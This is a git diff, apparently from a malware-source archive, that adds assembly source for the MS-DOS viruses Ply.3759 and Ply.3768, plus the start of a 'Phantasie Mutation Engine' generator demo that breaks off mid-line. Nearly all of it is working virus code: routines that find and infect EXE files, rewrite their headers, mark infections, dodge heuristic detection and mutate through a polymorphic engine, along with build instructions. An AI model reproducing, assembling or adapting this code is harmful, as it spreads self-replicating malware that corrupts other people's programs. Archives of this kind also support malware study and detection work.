polymorphic... + in al,40h ; AL = 8-bit random number + nop + mov ah,al ; AH = " " " + nop + in al,40h ; AL = 8-bit random number + nop + mov di,ax ; DI = 16-bit random number + nop + mov ax,(poly_end-poly_begin)/03h +get_rnd_num: + sub di,ax ; Subtract number of polymorphic b... + nop + cmp di,ax ; Too large a 16-bit random number? + nop + jae get_rnd_num ; Above or equal? Jump to get_rnd_num + nop + + mov ax,di ; AX = 16-bit random number within... + nop + + add di,ax ; Add number of polymorphic blocks + nop + add di,ax ; " " " " " + nop + add di,ax ; " " " " " + nop + add di,ax ; " " " " " + nop + add di,ax ; " " " " " + nop + + lea ax,poly_blocks ; AX = offset of poly_blocks + add di,ax ; Add offset of poly_blocks to ran... + nop + add di,bp ; Add delta offset + nop + + + mov al,90h ; NOP (opcode 90h) + nop + mov ah,al ; NOP; NOP (opcode 90h,90h) + nop + cmp [di],ax ; Offset already in use? + nop + jne get_poly_off ; Not equal? Jump to get_poly_off + nop + + ret ; Return! + nop + nop + endp +prepare_exit: + lea si,file_header ; SI = offset of file_header + add si,bp ; Add delta offset + nop + lea di,instruct_ptr ; SI = offset of instruct_ptr + add di,bp ; Add delta offset + nop + + mov ax,[si+14h] ; AX = instruction pointer + stosw ; Store instruction pointer + nop + nop + mov ax,[si+16h] ; AX = code segment + stosw ; Store code segment + nop + nop + mov ax,[si+0eh] ; AX = stack segment + stosw ; Store stack segment + nop + nop + mov ax,[si+10h] ; AX = stack pointer + stosw ; Store stack pointer + nop + nop + + mov ah,1ah ; Set disk transfer area address + nop + lea dx,dta ; DX = offset of dta + add dx,bp ; Add delta offset + nop + mov di,dx ; DI = offset of dta + nop + int 21h + nop + + mov ax,3524h ; Get interrupt vector 24h + int 21h + nop + push bx ; Save BX at stack + nop + nop + mov ax,es ; ES = segment of interrupt 24h + nop + push ax ; Save AX at stack + nop + nop + + mov ax,cs ; AX = code segment + nop + mov es,ax ; ES = " " + nop + + mov ax,2524h ; Get interrupt vector 24h + lea dx,int24_virus ; DX = offset of int24_virus + add dx,bp ; Add delta offset + nop + + mov ax,(4e00h+2020h) ; Find first matching file + sub ax,2020h + mov cx,0000000000000111b + lea dx,file_specifi ; DX = offset of file_specifi + add dx,bp ; Add delta offset + nop + + mov bx,dx ; BX = offset of file_specifi + nop + mov al,'E' + nop + mov [bx+02h],al ; Correct the file specification +find_next: + int 21h + nop + jnc open_file ; No error? Jump to open_file + nop + + pop ax ; Load AX from stack + nop + nop + mov ds,ax ; DS = segment of interrupt 24h + nop + pop dx ; Load DX from stack + nop + nop + mov ax,2524h ; Set interrupt vector 24h + int 21h + nop + + mov ax,cs ; AX = code segment + nop + mov ds,ax ; DS = " " + nop + + mov ah,62h ; Get current PSP address + nop + int 21h + nop + mov ds,bx ; DS = segment of PSP for current ... + nop + + mov ah,1ah ; Set disk transfer area address + nop + mov dx,80h ; DX = offset of default disk tran... + int 21h + nop + + mov ax,cs ; AX = code segment + nop + mov ds,ax ; DS = " " + nop + + jmp virus_exit +open_file: + mov al,'V' + nop + mov [bx+02h],al ; Correct the file specification + + mov ax,3d00h ; Open file (read) + lea dx,filename ; DX = offset of filename + add dx,bp ; Add delta offset + nop + int 21h + nop + xchg bx,ax ; BX = file handle + nop + nop + + mov ah,3fh ; Read from file + nop + mov dx,si ; DX = offset of file_header + nop + mov cx,1ah ; Read twenty-six bytes + int 21h + nop + + mov ah,3eh ; Close file + nop + int 21h + nop + + mov ax,('ZM'+2020h) ; EXE signature + sub ax,2020h + cmp [si],ax ; Found EXE signature? + nop + je examine_file ; Equal? Jump to examine_file + nop + + xchg ah,al ; Exchange EXE signature + nop + cmp [si],ax ; Found EXE signature? + nop + je examine_file ; Equal? Jump to examine_file + nop +jmp_find_nxt: + mov ax,(4f00h+2020h) ; Find next matching file + sub ax,2020h + + jmp find_next + nop +examine_file: + mov ax,2020h + cmp [si+12h],ax ; Already infected? + je jmp_find_nxt ; Equal? Jump to jmp_find_nxt + nop + + mov ax,(4301h+2020h) ; Set file attributes + sub ax,2020h + xor cx,cx ; CX = new file attributes + nop + lea dx,filename ; DX = offset of filename + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ax,(3d02h+2020h) ; Open file (read/write) + sub ax,2020h + lea dx,filename ; DX = offset of filename + add dx,bp ; Add delta offset + nop + int 21h + nop + xchg bx,ax ; BX = file handle + nop + nop + + mov ax,4202h ; Set current file position (EOF) + xor cx,cx ; Zero CX + nop + xor dx,dx ; Zero DX + nop + int 21h + nop + + mov ax,(4000h+2020h) ; Write to file + sub ax,2020h + mov cx,(code_end-code_begin) + lea dx,code_begin ; DX = offset of code_begin + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ax,[si+08h] ; AX = header size in paragraphs + mov cl,04h ; Multiply by paragraphs + nop + shl ax,cl ; AX = header size + nop + push bx ; Save BX at stack + nop + nop + xchg ax,bx ; BX = header size + nop + nop + + mov ax,[di+1ah] ; AX = low-order word of filesize + mov dx,[di+1ch] ; DX = high-order word of filesize + push ax ; Save AX at stack + nop + nop + push dx ; Save DX at stack + nop + nop + + sub ax,bx ; Subtract header size from filesize + nop + sbb dx,00h ; Convert to 32-bit + mov cx,10h + div cx ; Divide by paragraphs + nop + mov [si+14h],dx ; Store instruction pointer + mov [si+16h],ax ; Store code segment + + lea bx,delta_offset ; BX = offset of delta_offset + add bx,bp ; Add delta offset + nop + mov [bx],dx ; Store delta offset + nop + + inc ax ; Increase AX + nop + nop + mov [si+0eh],ax ; Store stack segment + + mov ax,(code_end-code_begin+100h) + add dx,ax ; DX = stack pointer + nop + mov ax,1111111111111110b + and dx,ax ; DX = " " + nop + mov [si+10h],dx ; Store stack pointer + + mov ax,2020h ; AX = infection mark + mov [si+12h],ax ; Store infection mark + + pop dx ; Load DX from stack + nop + nop + pop ax ; Load AX from stack + nop + nop + add ax,(code_end-code_begin) + adc dx,00h ; Convert to 32-bit + + mov cl,09h + nop + push ax ; Save AX at stack + nop + nop + shr ax,cl ; Multiply by pages + nop + ror dx,cl ; " " " + nop + stc ; Set carry flag + nop + nop + adc dx,ax ; DX = total number of 512-bytes p... + nop + pop ax ; Load AX from stack + nop + nop + and ah,00000001b + mov [si+04h],dx ; Store totalt number of 512-bytes... + mov [si+02h],ax ; Number of bytes in last 512-byte... + pop bx ; Load BX from stack + nop + nop + + mov ax,4201h ; Set current file position (CFP) + mov cx,-01h + mov dx,-(code_end-delta_offset) + int 21h + nop + + mov ax,(4000h+2020h) ; Write to file + sub ax,2020h + mov cx,02h ; Write two bytes + lea dx,delta_offset ; DX = offset of delta_offset + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ax,4200h ; Set current file position (SOF) + xor cx,cx ; Zero CX + nop + xor dx,dx ; Zero DX + nop + int 21h + nop + + mov ax,(4000h+2020h) ; Write to file + sub ax,2020h + mov cx,1ah ; Write twenty-six bytes + mov dx,si ; DX = offset of file_header + nop + int 21h + nop + + mov ax,(5701h-2020h) ; Set file's date and time + add ax,2020h + mov cx,[di+16h] ; CX = file time + mov dx,[di+18h] ; DX = file date + int 21h + nop + + mov ah,3eh ; Close file + nop + int 21h + nop + + mov ax,(4301h+2020h) ; Set file attributes + sub ax,2020h + mov ch,00h ; Zero CH + nop + mov cl,[di+15h] ; CL = file attribute + lea dx,filename ; DX = offset of filename + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ah,4fh ; Find next matching file + nop + + jmp find_next + +int24_virus proc near ; Interrupt 24h of Ply.3759 + mov al,03h ; Fail system call in progress + nop + + jmp int24_exit + nop + endp +virus_exit: + mov ah,62h ; Get current PSP address + nop + int 21h + nop + mov es,bx ; ES = segment of PSP for current ... + nop + + mov cx,bx ; CX = " " " " " " + nop + add cx,10h ; CX = segment of beginning of code + + lea si,instruct_ptr ; SI = offset of instruct_ptr + add si,bp ; Add delta offset + nop + + add [si+02h],cx ; Add segment of beginning of code... + add cx,[si+04h] ; Add original stack segment to se... + + cli ; Clear interrupt-enable flag + nop + nop + xor ax,ax ; Zero AX + nop +poly_end: + mov sp,[si+06h] ; SP = stack pointer + mov ss,cx ; SS = stack segment + sti ; Set interrupt-enable flag + + push ax ; Save AX at stack + + mov ds,bx ; DS = segment of PSP for current ... + + db 0eah ; JMP imm32 (opcode 0eah) +instruct_ptr dw ? ; Instruction pointer +code_seg dw ? ; Code segment + +stack_seg dw ? ; Stack segment +stack_ptr dw ? ; Stack pointer +int24_exit: + iret ; Interrupt return! + + db 00h,00h +file_specifi db '*.VXE',00h ; File specification +file_header dw 0ah dup(?),00h,0fff0h,? + db 00h +poly_buffer db 03h dup(?) ; Polymorphic buffer +poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?)) +code_end: +dta: + db 15h dup(?) ; Used by DOS for find next-process +file_attr db ? ; File attribute +file_time dw ? ; File time +file_date dw ? ; File date +filesize dd ? ; Filesize +filename db 0dh dup(?) ; Filename +data_end: + +end code_begin diff --git a/MSDOS/Virus.MSDOS.Unknown.ply_3768.asm b/MSDOS/Virus.MSDOS.Unknown.ply_3768.asm new file mode 100644 index 00000000..9873b32a --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.ply_3768.asm @@ -0,0 +1,926 @@ +comment * + Ply.3768 + Disassembly by + Darkman/VLAD + + Ply.3768 is a 3768 bytes parasitic direct action EXE virus. Infects every + file in current directory, when executed, by appending the virus to the + infected file. Ply.3768 has an error handler, anti-heuristic techniques and + is polymorphic in file using its internal polymorphic engine. + + To compile Ply.3768 with Turbo Assembler v 4.0 type: + TASM /m PLY_3768.ASM + TLINK /t /x PLY_3768.OBJ +* + +.model tiny +.code + org 100h ; Origin of Ply.3768 + +code_begin: +delta_offset equ $+01h ; Delta offset + mov bp,100h ; BP = delta offset +poly_begin: + mov ax,cs ; AX = code segment + nop + mov ds,ax ; DS = " " + nop + mov es,ax ; ES = " " + nop + + mov ax,100h ; AX = offset of beginning of code + sub bp,ax ; Subtract offset of beginning of ... + nop + + sti ; Set interrupt-enable flag + nop + nop + cld ; Clear direction flag + nop + nop + + lea si,poly_begin ; SI = offset of poly_begin + add si,bp ; Add delta offset + nop + mov cx,(poly_end-poly_begin)/03h +poly_loop: + in al,40h ; AL = 8-bit random number + nop + and al,00000111b ; AL = random number between zero ... + nop + + push cx ; Save CX at stack + nop + nop + push si ; Save SI at stack + nop + nop + + cmp al,00h ; Prepend a NOP to the opcode? + nop + jne test_append ; Not equal? Jump to test_append + nop + + mov al,[si] ; AL = first byte of three-bytes b... + nop + cmp al,90h ; NOP (opcode 90h)? + nop + je dont_poly ; Equal? Jump to dont_poly + nop + + mov al,[si+02h] ; AL = third byte of three-byte block + cmp al,90h ; NOP (opcode 90h) + nop + jne dont_poly ; Not equal? Jump to dont_poly + nop + + mov ax,[si] ; AX = first word of three-bytes b... + nop + lea bx,poly_buffer ; BX = offset of poly_buffer + add bx,bp ; Add delta offset + nop + mov [bx+01h],ax ; Store first word of three-bytes ... + + cmp al,0ebh ; JMP imm8 (opcode 0ebh) + nop + je dec_imm8 ; Equal? Jump to dec_imm8 + nop + + and al,11110000b + nop + cmp al,70h ; Jump on condition? + nop + jne prepend_nop ; Not equal? Jump to prepend_nop + nop +dec_imm8: + dec byte ptr [bx+02h] ; Decrease 8-bit immediate +prepend_nop: + mov al,90h ; NOP (opcode 90h) + nop + mov [bx],al ; Prepend a NOP to the opcode + nop + + mov di,si ; DI = offset of current three-byt... + nop + mov si,bx ; SI = offset of poly_buffer + nop + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop +dont_poly: + jmp test_loop +test_append: + cmp al,01h ; Append a NOP to the opcode? + nop + jne test_create ; Not equal? Jump to test_create + nop + + mov al,[si] ; AL = first byte of three-bytes b... + nop + cmp al,90h ; NOP (opcode 90h)? + nop + jne dont_poly_ ; Not equal? Jump to dont_poly_ + nop + + mov ax,[si+01h] ; AX = second word of three-bytes ... + lea bx,poly_buffer ; BX = offset of poly_buffer + add bx,bp ; Add delta offset + nop + mov [bx],ax ; Store second word of three-bytes... + nop + + cmp al,0ebh ; JMP imm8 (opcode 0ebh) + nop + je dec_imm8_ ; Equal? Jump to dec_imm8_ + nop + + and al,11110000b + nop + cmp al,70h ; Jump on condition? + nop + jne append_nop ; Not equal? Jump to append_nop + nop +dec_imm8_: + inc byte ptr [bx+01h] ; Decrease 8-bit immediate +append_nop: + mov al,90h ; NOP (opcode 90h) + nop + mov [bx+02h],al ; Append a NOP to the opcode + + mov di,si ; DI = offset of current three-byt... + nop + mov si,bx ; SI = offset of poly_buffer + nop + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop +dont_poly_: + jmp test_loop +test_create: + cmp al,02h ; Create a CALL imm16 to the opcode? + nop + jne delete_call ; Not equal? Jump to delete_call + nop + + mov ax,[si] ; AX = first word of three-bytes b... + nop + cmp al,90h ; NOP (opcode 90h)? + nop + jne create_call ; Not equal? Jump to create_call + nop + + mov al,ah ; AL = second byte of three-bytes ... + nop +create_call: + cmp al,0e9h ; JMP imm16 (opcode 0e9h) + nop + je call_exit ; Equal? Jump to call_exit + nop + cmp al,0e8h ; CALL imm16 (opcode 0e8h) + nop + je call_exit ; Equal? Jump to call_exit + nop + cmp al,0ebh ; JMP imm8 (opcode 0ebh) + nop + je call_exit ; Equal? Jump to call_exit + nop + cmp al,0c3h ; RET (opcode 0c3h) + nop + je call_exit ; Equal? Jump to call_exit + nop + + and al,11110000b + nop + cmp al,70h ; Jump on condition? + nop + je call_exit ; Equal? Jump to call_exit + nop + cmp al,50h ; PUSH reg16/POP reg16? + nop + je call_exit ; Equal? Jump to call_exit + nop + + call get_poly_off + + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop + + mov al,0c3h ; RET (opcode 0c3h) + nop + stosb ; Store RET + nop + nop + + in al,40h ; AL = 8-bit random number + nop + stosb ; Store 8-bit random number + nop + nop + + in al,40h ; AL = 8-bit random number + nop + stosb ; Store 8-bit random number + nop + nop + + mov al,0e8h ; CALL imm16 (opcode 0e8h) + nop + lea bx,poly_buffer ; BX = offset of poly_buffer + add bx,bp ; Add delta offset + nop + mov [bx],al ; Create a CALL imm16 to the opcode + nop + + mov ax,di ; AX = random offset of polymorphi... + nop + sub ax,si ; Subtract offset of current three... + nop + sub ax,06h ; Subtract size of six-bytes block + mov [bx+01h],ax ; Store 16-bit immediate + + mov di,si ; SI = offset of current three-byt... + nop + mov ax,03h ; AX = size of opcode CALL imm16 + sub di,ax ; Subtract size of opcode CALL imm... + nop + mov si,bx ; SI = offset of poly_buffer + nop + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop +call_exit: + jmp test_loop +delete_call: + cmp al,03h ; Delete previously created CALL i... + nop + jne test_create_ ; Not equal? Jump to test_create_ + nop + + mov al,[si] ; AL = first byte of three-bytes b... + nop + cmp al,0e8h ; CALL imm16 (opcode 0e8h)? + nop + jne call_exit_ ; Not equal? Jump to call_exit_ + nop + + mov ax,[si+01h] ; AX = 16-bit immediate + add ax,03h ; Add size of opcode CALL imm16 + + mov di,si ; DI = offset of current three-byt... + nop + add si,ax ; Add 16-bit immediate + nop + lea bx,poly_blocks ; BX = offset of poly_blocks + add bx,bp ; Add delta offset + nop + cmp si,bx ; 16-bit immediate within polymorp... + nop + jb call_exit_ ; Below? Jump to call_exit_ + nop + + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop + + mov al,90h ; NOP (opcode 90h) + nop + mov ah,al ; NOP; NOP (opcode 90h,90h) + nop + mov [si-03h],ax ; Store NOP; NOP + + in al,40h ; AL = 8-bit random number + nop + mov [si-01h],al ; Store 8-bit random number + + in al,40h ; AL = 8-bit random number + nop + mov [si],al ; Store 8-bit random number + nop +call_exit_: + jmp test_loop +test_create_: + cmp al,04h ; Create a JMP imm16 to the opcode? + nop + jne delete_jmp ; Not equal? Jump to delete_jmp + nop + + mov ax,[si] ; AX = first word of three-bytes b... + nop + cmp al,90h ; NOP (opcode 90h)? + nop + jne create_jmp ; Not equal? Jump to create_jmp + nop + + mov al,ah ; AL = second byte of three-bytes ... + nop +create_jmp: + cmp al,0e9h ; JMP imm16 (opcode 0e9h)? + nop + je jmp_exit ; Equal? Jump to jmp_exit + nop + cmp al,0e8h ; CALL imm16 (opcode 0e8h) + nop + je jmp_exit ; Equal? Jump to jmp_exit + nop + cmp al,0ebh ; JMP imm8 (opcode 0ebh) + nop + je jmp_exit ; Equal? Jump to jmp_exit + nop + + and al,11110000b + nop + cmp al,70h ; Jump on condition? + nop + je jmp_exit ; Equal? Jump to jmp_exit + nop + + call get_poly_off + + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop + + mov al,0e9h ; JMP imm16 (opcode 0e9h) + nop + stosb ; Store JMP imm16 + nop + nop + + mov ax,di ; AX = random offset of polymorphi... + nop + sub ax,si ; Subtract offset of current three... + nop + neg ax ; Negate AX + nop + sub ax,02h ; Subtract two from 16-bit immediate + stosw ; Store 16-bit immediate + nop + nop + + mov al,0e9h ; JMP imm16 (opcode 0e9h) + nop + lea bx,poly_buffer ; BX = offset of poly_buffer + add bx,bp ; Add delta offset + nop + mov [bx],al ; Create a JMP imm16 to the opcode + nop + + mov ax,di ; AX = random offset of polymorphi... + nop + sub ax,si ; Subtract offset of current three... + nop + sub ax,06h ; Subtract size of six-bytes block + mov [bx+01h],ax ; Store 16-bit immediate + + mov di,si ; SI = offset of current three-byt... + nop + mov ax,03h ; AX = size of opcode CALL imm16 + sub di,ax ; Subtract size of opcode CALL imm... + nop + mov si,bx ; SI = offset of poly_buffer + nop + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop +jmp_exit: + jmp test_loop + nop +delete_jmp: + cmp al,05h ; Delete previously created JMP im... + nop + jne test_loop ; Not equal? Jump to test_loop + nop + + mov al,[si] ; AL = first byte of three-bytes b... + nop + cmp al,0e9h ; JMP imm16 (opcode 0e9h)? + nop + jne jmp_exit_ ; Not equal? Jump to jmp_exit_ + nop + + mov ax,[si+01h] ; AX = 16-bit immediate + add ax,03h ; Add size of opcode CALL imm16 + + mov di,si ; DI = offset of current three-byt... + nop + add si,ax ; Add 16-bit immediate + nop + lea bx,poly_blocks ; BX = offset of poly_blocks + add bx,bp ; Add delta offset + nop + cmp si,bx ; 16-bit immediate within polymorp... + nop + jb jmp_exit_ ; Below? Jump to jmp_exit_ + nop + + mov cx,03h ; Move three bytes + rep movsb ; Move three-bytes block to offset... + nop + + mov al,90h ; NOP (opcode 90h) + nop + mov ah,al ; NOP; NOP (opcode 90h,90h) + nop + mov [si-03h],ax ; Store NOP; NOP + + in al,40h ; AL = 8-bit random number + nop + mov [si-01h],al ; Store 8-bit random number + + in al,40h ; AL = 8-bit random number + nop + mov [si],al ; Store 8-bit random number + nop +jmp_exit_: + jmp test_loop + nop +test_loop: + pop si ; Load SI from stack + nop + nop + pop cx ; Load CX from stack + nop + nop + + mov ax,03h ; AX = size of block + add si,ax ; SI = offset of next three-byte b... + nop + + dec cx ; Decrease CX + nop + nop + jz poly_exit ; Zero? Jump to poly_exit + nop + + jmp poly_loop +poly_exit: + jmp prepare_exit + nop + +get_poly_off proc near ; Get random offset of polymorphic... + in al,40h ; AL = 8-bit random number + nop + mov ah,al ; AH = " " " + nop + in al,40h ; AL = 8-bit random number + nop + mov di,ax ; DI = 16-bit random number + nop + mov ax,(poly_end-poly_begin)/03h +get_rnd_num: + sub di,ax ; Subtract number of polymorphic b... + nop + cmp di,ax ; Too large a 16-bit random number? + nop + jae get_rnd_num ; Above or equal? Jump to get_rnd_num + nop + + mov ax,di ; AX = 16-bit random number within... + nop + + add di,ax ; Add number of polymorphic blocks + nop + add di,ax ; " " " " " + nop + add di,ax ; " " " " " + nop + add di,ax ; " " " " " + nop + add di,ax ; " " " " " + nop + + lea ax,poly_blocks ; AX = offset of poly_blocks + add di,ax ; Add offset of poly_blocks to ran... + nop + add di,bp ; Add delta offset + nop + + + mov al,90h ; NOP (opcode 90h) + nop + mov ah,al ; NOP; NOP (opcode 90h,90h) + nop + cmp [di],ax ; Offset already in use? + nop + jne get_poly_off ; Not equal? Jump to get_poly_off + nop + + ret ; Return! + nop + nop + endp +prepare_exit: + lea si,file_header ; SI = offset of file_header + add si,bp ; Add delta offset + nop + lea di,instruct_ptr ; SI = offset of instruct_ptr + add di,bp ; Add delta offset + nop + + mov ax,[si+14h] ; AX = instruction pointer + stosw ; Store instruction pointer + nop + nop + mov ax,[si+16h] ; AX = code segment + stosw ; Store code segment + nop + nop + mov ax,[si+0eh] ; AX = stack segment + stosw ; Store stack segment + nop + nop + mov ax,[si+10h] ; AX = stack pointer + stosw ; Store stack pointer + nop + nop + + mov ah,1ah ; Set disk transfer area address + nop + lea dx,dta ; DX = offset of dta + add dx,bp ; Add delta offset + nop + mov di,dx ; DI = offset of dta + nop + int 21h + nop + + mov ax,3524h ; Get interrupt vector 24h + int 21h + nop + push bx ; Save BX at stack + nop + nop + mov ax,es ; ES = segment of interrupt 24h + nop + push ax ; Save AX at stack + nop + nop + + mov ax,cs ; AX = code segment + nop + mov es,ax ; ES = " " + nop + + mov ax,2524h ; Get interrupt vector 24h + lea dx,int24_virus ; DX = offset of int24_virus + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ax,(4e00h+2020h) ; Find first matching file + sub ax,2020h + mov cx,0000000000000111b + lea dx,file_specifi ; DX = offset of file_specifi + add dx,bp ; Add delta offset + nop + + mov bx,dx ; BX = offset of file_specifi + nop + mov al,'E' + nop + mov [bx+02h],al ; Correct the file specification +find_next: + int 21h + nop + jnc open_file ; No error? Jump to open_file + nop + + pop ax ; Load AX from stack + nop + nop + mov ds,ax ; DS = segment of interrupt 24h + nop + pop dx ; Load DX from stack + nop + nop + mov ax,2524h ; Set interrupt vector 24h + int 21h + nop + + mov ax,cs ; AX = code segment + nop + mov ds,ax ; DS = " " + nop + + mov ah,62h ; Get current PSP address + nop + int 21h + nop + mov ds,bx ; DS = segment of PSP for current ... + nop + + mov ah,1ah ; Set disk transfer area address + nop + mov dx,80h ; DX = offset of default disk tran... + int 21h + nop + + mov ax,cs ; AX = code segment + nop + mov ds,ax ; DS = " " + nop + + jmp virus_exit +open_file: + mov al,'V' + nop + mov [bx+02h],al ; Correct the file specification + + mov ax,3d00h ; Open file (read) + lea dx,filename ; DX = offset of filename + add dx,bp ; Add delta offset + nop + int 21h + nop + xchg bx,ax ; BX = file handle + nop + nop + + mov ah,3fh ; Read from file + nop + mov dx,si ; DX = offset of file_header + nop + mov cx,1ah ; Read twenty-six bytes + int 21h + nop + + mov ah,3eh ; Close file + nop + int 21h + nop + + mov ax,('ZM'+2020h) ; EXE signature + sub ax,2020h + cmp [si],ax ; Found EXE signature? + nop + je examine_file ; Equal? Jump to examine_file + nop + + xchg ah,al ; Exchange EXE signature + nop + cmp [si],ax ; Found EXE signature? + nop + je examine_file ; Equal? Jump to examine_file + nop +jmp_find_nxt: + mov ax,(4f00h+2020h) ; Find next matching file + sub ax,2020h + + jmp find_next + nop +examine_file: + mov ax,2020h + cmp [si+12h],ax ; Already infected? + je jmp_find_nxt ; Equal? Jump to jmp_find_nxt + nop + + mov ax,(4301h+2020h) ; Set file attributes + sub ax,2020h + xor cx,cx ; CX = new file attributes + nop + lea dx,filename ; DX = offset of filename + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ax,(3d02h+2020h) ; Open file (read/write) + sub ax,2020h + lea dx,filename ; DX = offset of filename + add dx,bp ; Add delta offset + nop + int 21h + nop + xchg bx,ax ; BX = file handle + nop + nop + + mov ax,4202h ; Set current file position (EOF) + xor cx,cx ; Zero CX + nop + xor dx,dx ; Zero DX + nop + int 21h + nop + + mov ax,(4000h+2020h) ; Write to file + sub ax,2020h + mov cx,(code_end-code_begin) + lea dx,code_begin ; DX = offset of code_begin + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ax,[si+08h] ; AX = header size in paragraphs + mov cl,04h ; Multiply by paragraphs + nop + shl ax,cl ; AX = header size + nop + push bx ; Save BX at stack + nop + nop + xchg ax,bx ; BX = header size + nop + nop + + mov ax,[di+1ah] ; AX = low-order word of filesize + mov dx,[di+1ch] ; DX = high-order word of filesize + push ax ; Save AX at stack + nop + nop + push dx ; Save DX at stack + nop + nop + + sub ax,bx ; Subtract header size from filesize + nop + sbb dx,00h ; Convert to 32-bit + mov cx,10h + div cx ; Divide by paragraphs + nop + mov [si+14h],dx ; Store instruction pointer + mov [si+16h],ax ; Store code segment + + lea bx,delta_offset ; BX = offset of delta_offset + add bx,bp ; Add delta offset + nop + mov [bx],dx ; Store delta offset + nop + + inc ax ; Increase AX + nop + nop + mov [si+0eh],ax ; Store stack segment + + mov ax,(code_end-code_begin+0c0h) + add dx,ax ; DX = stack pointer + nop + mov ax,1111111111111110b + and dx,ax ; DX = " " + nop + mov [si+10h],dx ; Store stack pointer + + mov ax,2020h ; AX = infection mark + mov [si+12h],ax ; Store infection mark + + pop dx ; Load DX from stack + nop + nop + pop ax ; Load AX from stack + nop + nop + add ax,(code_end-code_begin) + adc dx,00h ; Convert to 32-bit + + mov cl,09h + nop + push ax ; Save AX at stack + nop + nop + shr ax,cl ; Multiply by pages + nop + ror dx,cl ; " " " + nop + stc ; Set carry flag + nop + nop + adc dx,ax ; DX = total number of 512-bytes p... + nop + pop ax ; Load AX from stack + nop + nop + and ah,00000001b + mov [si+04h],dx ; Store totalt number of 512-bytes... + mov [si+02h],ax ; Number of bytes in last 512-byte... + pop bx ; Load BX from stack + nop + nop + + mov ax,4201h ; Set current file position (CFP) + mov cx,-01h + mov dx,-(code_end-delta_offset) + int 21h + nop + + mov ax,(4000h+2020h) ; Write to file + sub ax,2020h + mov cx,02h ; Write two bytes + lea dx,delta_offset ; DX = offset of delta_offset + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ax,4200h ; Set current file position (SOF) + xor cx,cx ; Zero CX + nop + xor dx,dx ; Zero DX + nop + int 21h + nop + + mov ax,(4000h+2020h) ; Write to file + sub ax,2020h + mov cx,1ah ; Write twenty-six bytes + mov dx,si ; DX = offset of file_header + nop + int 21h + nop + + mov ax,(5701h-2020h) ; Set file's date and time + add ax,2020h + mov cx,[di+16h] ; CX = file time + mov dx,[di+18h] ; DX = file date + int 21h + nop + + mov ah,3eh ; Close file + nop + int 21h + nop + + mov ax,(4301h+2020h) ; Set file attributes + sub ax,2020h + mov ch,00h ; Zero CH + nop + mov cl,[di+15h] ; CL = file attribute + lea dx,filename ; DX = offset of filename + add dx,bp ; Add delta offset + nop + int 21h + nop + + mov ah,4fh ; Find next matching file + nop + + jmp find_next + +int24_virus proc near ; Interrupt 24h of Ply.3768 + mov al,03h ; Fail system call in progress + nop + + jmp int24_exit + nop + endp +virus_exit: + mov ah,62h ; Get current PSP address + nop + int 21h + nop + mov es,bx ; ES = segment of PSP for current ... + nop + + mov cx,bx ; CX = " " " " " " + nop + add cx,10h ; CX = segment of beginning of code + + lea si,instruct_ptr ; SI = offset of instruct_ptr + add si,bp ; Add delta offset + nop + + add [si+02h],cx ; Add segment of beginning of code... + add cx,[si+04h] ; Add original stack segment to se... + + cli ; Clear interrupt-enable flag + nop + nop + xor ax,ax ; Zero AX + nop +poly_end: + mov sp,[si+06h] ; SP = stack pointer + mov ss,cx ; SS = stack segment + sti ; Set interrupt-enable flag + + push ax ; Save AX at stack + + mov ds,bx ; DS = segment of PSP for current ... + + db 0eah ; JMP imm32 (opcode 0eah) +instruct_ptr dw ? ; Instruction pointer +code_seg dw ? ; Code segment + +stack_seg dw ? ; Stack segment +stack_ptr dw ? ; Stack pointer +int24_exit: + iret ; Interrupt return! + + db 00h,00h +file_specifi db '*.VXE',00h ; File specification +file_header dw 0ah dup(?),00h,0fff0h,? + db 00h +poly_buffer db 03h dup(?) ; Polymorphic buffer +poly_blocks db (poly_end-poly_begin)/03h dup(90h,90h,04h dup(?)) +code_end: +dta: + db 15h dup(?) ; Used by DOS for find next-process +file_attr db ? ; File attribute +file_time dw ? ; File time +file_date dw ? ; File date +filesize dd ? ; Filesize +filename db 0dh dup(?) ; Filename +data_end: + +end code_begin diff --git a/MSDOS/Virus.MSDOS.Unknown.pme-gen.asm b/MSDOS/Virus.MSDOS.Unknown.pme-gen.asm new file mode 100644 index 00000000..998b26c7 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.pme-gen.asm @@ -0,0 +1,94 @@ + + +; Phantasie Mutation Engine --- DEMO +; This program will generate 50 mutation programs. +; (C) Copyright 1995 Written by Burglar. All Rights Reserved. +; Made In Taiwan. + + + .MODEL TINY + + .CODE + + ORG 100H + + EXTRN PME:NEAR, PME_END:NEAR ;must declare PME to external module. + + +BEGIN: + MOV DX,OFFSET GEN_MSG + MOV AH,9 + INT 21H + + MOV CX,50 +GEN: + PUSH CX + + MOV DX,OFFSET FILENAME + PUSH CS + POP DS + XOR CX,CX + MOV AH,3CH + INT 21H + + PUSH AX + + MOV DX,OFFSET PROG ;DS:DX point to the head of program which you + ;want to be mutation. + MOV CX,OFFSET PROG_END - OFFSET PROG ;CX hold the length of the + ;program which you want to + ;be mutation. + MOV BX,100H ;BX sets the beginning offset when execution. + + PUSH SS + POP AX + ADD AX,1000H + MOV ES,AX ;ES point to a work segment. + ;for putting decryption routine + encrypted code. + ;just need the length of origin program + 512 bytes. + + CALL PME ;OK! when every thing is okay, you can call the PME. + + ;When PME execute over, it will return : + ;DS:DX -> decryption routine + encrypted code. + ;CX -> length of the decryption routine + encrypted + ;code. (always origin length + 512 bytes) + + POP BX + MOV AH,40H + INT 21H + + MOV AH,3EH + INT 21H + + MOV BX,OFFSET FILENAME + INC BYTE PTR CS:BX+7 + CMP BYTE PTR CS:BX+7,'9' + 